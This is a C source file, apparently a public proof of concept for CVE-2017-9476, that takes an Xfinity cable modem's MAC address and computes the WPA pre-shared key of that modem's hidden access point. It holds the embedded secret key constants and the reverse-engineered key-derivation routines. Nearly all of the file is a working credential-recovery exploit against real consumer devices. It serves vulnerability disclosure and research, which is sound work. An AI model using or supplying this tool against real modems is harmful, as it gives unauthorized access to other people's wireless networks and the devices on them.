/*
 * xhscmmac2psk.c - Xfinity C(able)M(odem) mac to WPA PSK generator
 *
 * CVE-2017-9476: Hidden AP with Deterministic Credentials
 *
 * Vulnerability discovered by:
 *   Marc Newlin (@marcnewlin), Logan Lamb ([email protected]), Chris Grayson (@_lavalamp)
 * Reference: https://github.com/BastilleResearch/CableTap
 *
 * Code written by wiire (2017)
 * Special thanks to:
 *   AAnarchYY, soxrok2212, Eduardo Novella (@enovella_)
 *
 * Compiling: cc xhscmmac2psk.c -o xhscmmac2psk
 * Usage:     ./xhscmmac2psk <valid CM mac address>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define CLZ(x) __builtin_clz(x)

#define BSSID_LEN 6
#define PSK_LEN 18
const char *PRIV_KEY_CHARS = "\x53\x45\x6a\x44\x7a\x4d\x71\x41\x6a"
                             "\x52\x6e\x55\x46\x62\x74\x49\x53\x46";

unsigned int sub_AQW4(unsigned int result)
{
  if (result) {
    int v4 = CLZ(result) - 8;
    int v5 = (result | 0x4B000000) - 0x800000 - (v4 << 23);
    result = v5 + (result << v4);
  }
  return result;
}

unsigned int sub_AQf4(unsigned int a1, unsigned int a2)
{
  const unsigned int v10 = ((a2 << 9) >> 4) | 0x10000000;
  unsigned int v11 = ((a1 << 9) >> 4) | 0x10000000;
  unsigned int v12 = (a1 ^ a2) & 0x80000000;
  unsigned int v14 = (v11 >= v10) + ((a1 >> 23) & 0xFF) - ((a2 >> 23) & 0xFF) + 0x7D;
  unsigned int v15 = 0x800000;
  unsigned int v16;
  unsigned int result;
  if (v11 < v10)
    v11 *= 2;
  do {
    if (v11 >= v10)      { v11 -= v10;      v12 |= v15;      }
    if (v11 >= v10 >> 1) { v11 -= v10 >> 1; v12 |= v15 >> 1; }
    if (v11 >= v10 >> 2) { v11 -= v10 >> 2; v12 |= v15 >> 2; }
    if (v11 >= v10 >> 3) { v11 -= v10 >> 3; v12 |= v15 >> 3; }
    v11 *= 16;
    v16 = (v11 == 0);
    if (v11) {
      v15 >>= 4;
      v16 = (v15 == 0);
    }
  } while (!v16);
  if (v14 > 0xFD)
    return v12 & 0x80000000 | 0x7F800000;
  result = (v14 << 23) + (v11 >= v10) + v12;
  if (v11 == v10)
    result &= 0xFFFFFFFE;
  return result;
}

unsigned int sub_AQlY(int a1)
{
  unsigned int result;
  int v3 = 0x9E - (a1 >> 23);
  if (v3 != 0 && a1 >> 23 <= 0x9E) {
    result = ((a1 << 8) | 0x80000000) >> v3;
    if (a1 & 0x80000000)
      result = -result;
  } else if (v3 == -('a') && a1 << 9) {
    result = 0;
  } else {
    if (!(a1 & 0x80000000))
      result = 0x7FFFFFFF;
  }
  return result;
}

uint8_t meld_integers(int16_t a1, int16_t a2)
{
  int result = ((a2 ^ a1) - (a1 & a2)) >> 2;
  while (result > 'z') {
    unsigned int v3 = sub_AQW4(result);
    unsigned int v6 = sub_AQf4(v3, 0x3FCCCCCD);
    result = sub_AQlY(v6) & 0xFFFF;
  }
  while (result < '0')
    result += 13;
  if ((unsigned int)(result - '9' - 1) <= 6)
    result += 7;
  if ((unsigned int)(result - 'Z' - 1) <= 5)
    result = result - 11;
  return (uint8_t)result;
}

int swizzle_mac_array(uint16_t *mac)
{
  int result;
  int16_t v2 = mac[4];
  int16_t v3 = mac[5];
  int16_t v4 = mac[3];
  int16_t v5 = (v4 - (v3 << 3) * (v2 << 1)) ^ mac[0];
  mac[0] = v5;
  uint16_t v6 = mac[1] - ((v3 << 2) ^ (v5 << 3));
  int16_t v7 = mac[2] | ((v3 << 1) - v4);
  mac[1] = v6;
  result = v6 << 3;
  mac[2] = v7;
  mac[3] = v4 * (v2 + (v5 << 1));
  mac[4] = v2 ^ (result - v7);
  return result;
}

char *calculate_psk_key(uint8_t *mac, const char *vendor)
{
  unsigned int i, vendorLen = 0;
  uint16_t mac16[BSSID_LEN];
  char *psk = malloc(PSK_LEN + 1);
  if (!psk)
    return psk;
  for (i = 0; i < BSSID_LEN; i++)
    mac16[i] = mac[i];
  swizzle_mac_array(mac16);
  if (vendor)
    vendorLen = strlen(vendor);
  for (i = 0; i != PSK_LEN; i++) {
      int16_t tmp = meld_integers(mac16[i % BSSID_LEN], PRIV_KEY_CHARS[i]);
      if (vendorLen > i)
        psk[i] = meld_integers(vendor[i], tmp);
      else
        psk[i] = tmp;
  }
  psk[PSK_LEN] = '\0';
  return psk;
}

unsigned int hex_string_to_byte_array(char *in, uint8_t *out, const unsigned int n_len)
{
  unsigned int i, o, j;
  unsigned int len = strlen(in);
  unsigned int b_len = n_len * 2 + n_len - 1;
  if (len != n_len * 2 && len != b_len)
    return 1;
  for (i = 0; i < n_len; i++) {
    o = 0;
    for (j = 0; j < 2; j++) {
      o <<= 4;
      if (*in >= 'A' && *in <= 'F')
        *in += 'a'-'A';
      if (*in >= '0' && *in <= '9')
        o += *in - '0';
      else
        if (*in >= 'a' && *in <= 'f')
          o += *in - 'a' + 10;
        else
          return 1;
      in++;
    }
    *out++ = o;
    if (len == b_len) {
      if (*in == ':' || *in == '-' || *in == ' ' || *in == 0)
        in++;
      else
        return 1;
    }
  }
  return 0;
}

int main(int argc, char **argv)
{
  uint8_t mac[6];
  if (argc == 2) {
    if (hex_string_to_byte_array(argv[1], mac, BSSID_LEN) == 0) {
      char *psk = calculate_psk_key(mac, PRIV_KEY_CHARS);
      printf("%s\n", psk);
      free(psk);
    } else {
      printf("Input is incorrect, please insert a valid MAC address.\n");
    }
  } else {
    printf("Please insert a valid MAC address.\n");
  }
  return 0;
}